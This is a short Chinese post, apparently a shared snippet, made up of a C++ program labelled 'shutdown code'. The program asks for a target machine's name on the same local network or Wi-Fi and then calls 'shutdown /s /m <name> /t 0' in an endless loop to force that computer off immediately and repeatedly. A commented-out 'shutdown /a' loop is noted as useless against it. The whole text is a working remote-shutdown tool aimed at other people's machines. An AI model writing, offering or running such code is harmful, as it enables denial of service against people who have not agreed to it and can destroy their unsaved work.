痛,太痛了
#include<bits/stdc++.h>
using namespace std;
int main(){
cout<<"请输入你要关的机子的用户名(需在同一内网或WIFI内):";
string k,s="shutdown /s /m ",c=" /t 0";
getline(cin,k);
s+=k;
s+=c;
while(1) system(s.c_str());//秒关机
/*while(1) system("shutdown /a"); 防关机(虽然对于上面的并没有什么用)*/
}关机代码